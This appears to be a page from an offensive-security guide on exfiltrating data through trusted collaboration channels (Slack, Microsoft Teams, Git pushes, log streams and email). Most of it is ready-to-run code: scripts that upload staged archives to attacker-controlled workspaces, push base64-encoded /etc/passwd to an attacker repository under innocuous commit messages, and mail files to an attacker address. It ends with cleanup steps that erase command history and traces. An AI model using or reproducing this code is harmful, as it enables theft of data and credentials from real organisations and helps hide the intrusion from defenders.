Covert channels for exfiltration¶
Using platforms designed for communication and collaboration as data exfiltration channels. These platforms are trusted, whitelisted, and commonly in use; traffic to and from them is rarely inspected for content.
Slack¶
Slack supports file uploads and incoming webhooks. An attacker who can create a Slack app or obtain a bot token in an attacker-controlled workspace can receive data via Slack’s HTTPS API.
import requests, os
# Slack: upload a file to attacker-controlled workspace via bot token
def exfil_to_slack(filepath, token, channel_id):
with open(filepath, 'rb') as f:
r = requests.post(
'https://slack.com/api/files.upload',
headers={'Authorization': f'Bearer {token}'},
data={'channels': channel_id,
'filename': os.path.basename(filepath),
'initial_comment': 'system telemetry'},
files={'file': f})
return r.json().get('ok')
exfil_to_slack('/tmp/staged.zip', 'xoxb-ATTACKER-BOT-TOKEN', 'CHANNEL_ID')
For smaller chunks of data (credentials, tokens), use the chat.postMessage API:
def exfil_text(data, token, channel_id):
r = requests.post(
'https://slack.com/api/chat.postMessage',
headers={'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'},
json={'channel': channel_id,
'text': f'```{data}```',
'mrkdwn': False})
return r.json()
Microsoft Teams¶
Teams supports incoming webhooks and file uploads via SharePoint. An attacker-controlled Teams tenant can receive data via the Graph API or webhook.
import requests, json
# Teams: send via incoming webhook (no authentication required after setup)
webhook_url = 'https://TENANT.webhook.office.com/webhookb2/...'
def exfil_to_teams_webhook(data):
r = requests.post(webhook_url,
headers={'Content-Type': 'application/json'},
json={'text': data[:4000]}) # Teams webhook max ~4KB per message
return r.status_code
# for larger payloads, split and send multiple messages
import base64
with open('/tmp/staged.zip', 'rb') as f:
encoded = base64.b64encode(f.read()).decode()
chunk_size = 3000
for i, chunk in enumerate([encoded[j:j+chunk_size]
for j in range(0, len(encoded), chunk_size)]):
exfil_to_teams_webhook(f'part_{i}: {chunk}')
Git repositories¶
Data committed to a repository is transmitted to the remote via HTTPS. The content is opaque unless the remote is inspected.
# initialise a staging repo
cd /tmp/staging
git init
git remote add origin https://ATTACKER_TOKEN@github.com/attacker/exfil-repo.git
# add staged data as a commit
cp /tmp/staged.zip ./data.zip
git add data.zip
git commit -m "Update system configuration cache" # plausible commit message
git push origin main --quiet
# for ongoing exfiltration: append data to a file and push each time
echo "$(date): $(cat /etc/passwd | base64)" >> ./telemetry.log
git add telemetry.log
git commit -m "Telemetry update $(date +%Y%m%d)"
git push origin main --quiet
Application logs and telemetry streams¶
If the target application ships logs to an external monitoring service, injecting data into the log stream sends it to that service:
import logging, requests
# if the application uses a cloud logging service (Datadog, Splunk HEC, etc.):
# add log lines containing Base64-encoded data
# the log shipper sends them to the external service on schedule
# example: inject into a Python application's logger
import base64
def log_exfil(data, chunk_size=500):
encoded = base64.b64encode(data).decode()
for i in range(0, len(encoded), chunk_size):
logging.info(f'cache_sync_event id={i} data={encoded[i:i+chunk_size]}')
Email¶
Large attachments to external addresses blend into normal business email in the absence of DLP. Use the target organisation’s own SMTP relay if accessible:
# using the organisation's mail relay (if unauthenticated relay is permitted internally)
python3 -c "
import smtplib, base64
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders
msg = MIMEMultipart()
msg['From'] = 'svc-monitor@target.local'
msg['To'] = 'attacker@example.com'
msg['Subject'] = 'Monthly system report'
with open('/tmp/staged.zip', 'rb') as f:
part = MIMEBase('application', 'octet-stream')
part.set_payload(f.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment', filename='report.zip')
msg.attach(part)
with smtplib.SMTP('mail.target.local', 25) as s:
s.sendmail(msg['From'], msg['To'], msg.as_string())
"
Clean up¶
After any covert channel exfiltration:
Remove any bot tokens or webhook URLs from the target
Clear command history on Linux or PowerShell
Delete staged files from the target
Remove any git repositories or partial checkouts used for staging